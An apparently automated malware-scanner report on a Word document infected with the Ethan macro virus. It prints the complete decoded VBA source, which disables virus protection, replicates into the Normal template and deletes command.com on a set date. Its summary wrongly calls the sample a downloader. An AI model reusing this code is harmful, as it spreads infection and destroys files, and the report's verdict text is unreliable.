MALICIOUS
140
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The sample contains VBA macros that are designed to write content to 'c:\winhe.sys' and conditionally delete 'c:\command.com'. The ClamAV heuristic also flags the file as 'Doc.Trojan.Ethan-19', suggesting a known malicious document. The VBA script's actions indicate it's likely a downloader or dropper for a second-stage payload.
Heuristics 2
-
ClamAV: Doc.Trojan.Ethan-19 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Ethan-19
-
VBA macros detected medium OLE_VBA_MACROSDocument contains VBA macro code
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 6371 bytes |
SHA-256: 1c740643db9e53618e564e9bc8adfdb3a068c1f650fae2e394ded5404d6101ac |
|||
|
Detection
ClamAV:
Doc.Trojan.Ethan-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
On Error Resume Next
s = ActiveDocument.Saved
Application.EnableCancelKey = Not -1
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
Randomize
If Dir("c:\winhe.sys", 6) = "" Then
Open "c:\winhe.sys" For Output As #1
For i = 1 To MacroContainer.VBProject.VBComponents.Item(1).codemodule.CountOfLines
a = MacroContainer.VBProject.VBComponents.Item(1).codemodule.Lines(i, 1)
Print #1, a
Next i
Close #1
SetAttr "c:\winhe.sys", 6
End If
Dim asd
asd = Date
Dim asd2
asd2 = #7/1/1999#
If asd = asd2 Then Kill "c:\command.com"
If NormalTemplate.VBProject.VBComponents.Item(1).codemodule.Lines(1, 1) <> "Private Sub Document_Close()" Then
Set t = NormalTemplate.VBProject.VBComponents.Item(1)
ElseIf ActiveDocument.VBProject.VBComponents.Item(1).codemodule.Lines(1, 1) <> "Private Sub Document_Close()" Then
Set t = ActiveDocument.VBProject.VBComponents.Item(1)
Else
t = ""
End If
If t <> "" Then
Open "c:\winhe.sys" For Input As #1
If LOF(1) = 0 Then GoTo q
i = 1
Do While Not EOF(1)
Line Input #1, a
t.codemodule.InsertLines i, a
i = i + 1
Loop
q:
Close #1
If Rnd < 0.3 Then With Dialogs(wdDialogFileSummaryInfo): .Title = "Ethan Frome": .Author = "EW/LN/CB": .Keywords = "Ethan": .Execute: End With
If Left(ActiveDocument.Name, 8) <> "Document" Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End If
If ActiveDocument.Saved <> s Then ActiveDocument.Saved = s
End Sub
' Processing file: /opt/analyzer/scan_staging/df3de7340fc1410187ffa353ef952650.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 8000 bytes
' Line #0:
' FuncDefn (Private Sub Document_Close())
' Line #1:
' OnError (Resume Next)
' Line #2:
' Ld ActiveDocument
' MemLd Saved
' St s
' Line #3:
' LitDI2 0x0001
' UMi
' Not
' Ld Application
' MemSt EnableCancelKey
' Line #4:
' StartWithExpr
' Ld Options
' With
' BoS 0x0000
' LitDI2 0x0000
' MemStWith ConfirmConversions
' BoS 0x0000
' LitDI2 0x0000
' MemStWith VirusProtection
' BoS 0x0000
' LitDI2 0x0000
' MemStWith SaveNormalPrompt
' BoS 0x0000
' EndWith
' Line #5:
' ArgsCall Read 0x0000
' Line #6:
' LitStr 0x000C "c:\winhe.sys"
' LitDI2 0x0006
' ArgsLd Dir 0x0002
' LitStr 0x0000 ""
' Eq
' IfBlock
' Line #7:
' LitStr 0x000C "c:\winhe.sys"
' LitDI2 0x0001
' Sharp
' LitDefault
' Open (For Output)
' Line #8:
' StartForVariable
' Ld i
' EndForVariable
' LitDI2 0x0001
' LitDI2 0x0001
' Ld MacroContainer
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd codemodule
' MemLd CountOfLines
' For
' Line #9:
' Ld i
' LitDI2 0x0001
' LitDI2 0x0001
' Ld MacroContainer
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd codemodule
' ArgsMemLd Lines 0x0002
' St a
' Line #10:
' LitDI2 0x0001
' Sharp
' PrintChan
' Ld a
' PrintItemNL
' Line #11:
' StartForVariable
' Ld i
' EndForVariable
' NextVar
' Line #12:
' LitDI2 0x0001
' Sharp
' Close 0x0001
' Line #13:
' LitStr 0x000C "c:\winhe.sys"
' LitDI2 0x0006
' ArgsCall SetAttr 0x0002
' Line #14:
' EndIfBlock
' Line #15:
' Dim
' VarDefn asd
' Line #16:
' Ld Date
' St asd
' Line #17:
' Dim
' VarDefn asd2
' Line #18:
' LitDate 0x0000 0x0000 0xBEC0 0x40E1
' St asd2
' Line #19:
' Ld asd
' Ld asd2
' Eq
' If
' BoSImplicit
' LitStr 0x000E "c:\command.com"
' ArgsCall Kill 0x0001
' EndIf
' Line #20:
' LitDI2 0x0001
' LitDI2 0x0001
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd codemodule
' ArgsMemLd Lines 0x0002
' LitStr 0x001C "Private Sub Document_Close()"
' Ne
' IfBlock
' Line #21:
'
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.